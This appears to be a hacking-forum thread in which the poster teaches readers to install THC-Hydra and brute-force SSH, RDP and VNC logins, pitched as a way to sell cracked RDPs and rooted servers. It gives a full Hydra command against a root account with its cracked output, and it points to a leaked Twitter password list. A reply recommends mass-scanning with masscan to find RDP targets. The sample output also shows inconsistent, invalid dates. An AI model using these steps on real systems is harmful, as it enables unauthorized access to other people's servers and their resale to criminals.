[lιgнт yagaмι]

Cracking RDP/SSH/VNC with THC-Hydra

---

Hey,
Ever wanted to start to sell RDPs, Rooted servers or just play around with cracking servers? Well, today I'm going to show you how.

We're going to use a tool called "THC-Hydra", THC-Hydra is a cracking tool created by thc.org, It supports all your favorite protocols including, but not limited to FTP, FTPS, HTTP/HTTPS (Head, Get & Post), IRC, MSSQL, MySQL, PostgreSQL, PCAnywhere, SMB, SMTP/SMTPS, SOCKS5, Teamspeak, Telnet, VNC, XMPP, and SSH.

That's a mouthful.

---

To start off I'll be showing you how to install THC-Hydra on Linux, Mac, and Windows.

Linux:
Spoiler (Click to View)To start off, we'll need to download the source so we can compile it.

You have two options:
A) Use Git Clone functions.
B) Download and extract the ZIP.

How to download the source with Git (You need to install Git with your package manager):

Code

git clone https://github.com/vanhauser-thc/thc-hydra.git

That simple...

How to download and extract the ZIP (Either use Unzip or your built-in archive program):

Code

wget https://github.com/vanhauser-thc/thc-hydra/archive/master.zip
unzip master.zip
rm master.zip

Locate and double click and extract the archive with your archive manager if you don't want to install/use Unzip.

---

Now we have downloaded the Source we can compile it by running the following commands:

Code

cd master/cd thc-hydra
# If you used the ZIP method use "cd master" but if you used the Git method use "cd thc-hydra"
./configure
make
sudo make install
# If you don't have sudo installed run the following commands.
su root
make install

What these commands do is change directory to where the source code is located, configure the source for compiling and then we compile it.

And it's done.


Windows:
Spoiler (Click to View) I haven't tested this method myself if someone could verify it for me that'd be nice
Download this archive: https://github.com/maaaaz/thc-hydra-wind...master.zip
Extract it into a folder
Run hydra.exe

Mac:
Spoiler (Click to View)There's is a really good guide that you can find here.

I won't bother writing it all out.

---

Basic Usage:
To start off we need wordlists/password lists.
There are lots available for download at http://www.skullsecurity.org/wiki/index.php/Passwords but you can also download my Real Twitter Leak password list: here.

Now that we have wordlists downloaded and hydra installed we can start, this is an example of attacking SSH:

Code

[dev@Fedora ~]$ hydra -l root -P rockyou.txt 192.168.1.28 ssh
Hydra v6.3 (c) 2011 by van Hauser / THC and David Maciejak - use allowed only for legal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2016-22-07 16:45:19
[DATA] 16 tasks, 1 servers, 500 login tries (l:1/p:500), ~31 tries per task
[DATA] attacking service ssh on port 22
[STATUS] 185.00 tries/min, 185 tries in 00:01h, 315 todo in 00:02h
[STATUS] 183.00 tries/min, 366 tries in 00:02h, 134 todo in 00:01h
[22][ssh] host: 192.168.1.28 login: root password: toor
[STATUS] attack finished for 192.168.1.28 (waiting for children to finish)
Hydra (http://www.thc.org/thc-hydra) finished at 2011-22-07 16:48:08

Now I'll explain the attack:

• -l root selects to use the username root
  
• -P rockyou.txt selects the wordlist rockyou.txt
  
• 192.168.1.28 is the target
  
• and ssh is what we want to attack
  

And it's that simple, with some tweaking you can have it run RDP, VNC and way more.

You can also use the THC-Hydra GUI which makes it easier by running:

Code

./xhydra

Pretty sure that's the GUI version.

---

Well, that's about it, if you have any problems, troubles or need help feel free to PM me or Post here.

[dll999]

Nice work dude - good simple tutorial. 👍

[Evanescent]

Nice and simple tutorial. Good work.

[lιgнт yagaмι]

Nice work dude - good simple tutorial. 👍

Thanks!

Nice and simple tutorial. Good work.

Thanks! i plan to make more just not sure what to make them on

[Bachanky7a]

how can i get Rdp's ip ?
and thanks for your Tut

---

The app won't open for me it appear and dispear in 2 second

[lιgнт yagaмι]

how can i get Rdp's ip ?
and thanks for your Tut

---

The app won't open for me it appear and dispear in 2 second

Typically you would scan for it with masscan or similar for lots of ips or nmap or similar for one ip.

are you using the gui version?

[ZeroCoolAZ]

Clean, simple to read, and easy to pick up on tut. Thanks!

[lιgнт yagaмι]

Clean, simple to read, and easy to pick up on tut. Thanks!

No problem, i will be making more tutorials soon so watch out for them.

[RMProductions_]

I have an OpenSSL error saying the module isn't install? - Fresh copy of Ubuntu 16.04 with no dependencies installed.

[Zach_Farlow]

omg ive been looking for something like this for weeks man thanks sooooo much.

[Pharaoh1100]

OP, what if the secured shell is routed through Tor?

[Zach_Farlow]

ummm bro all it does is open and close right away with the windows application.

[phppop]

nice 1 really appreciate very easy to follow up do you mind me sending you pm

[Kashmiri Hunter]

Something New To Learn.Thanks For sharing.

[Stirate]

Looks good, thanks for the helpful post.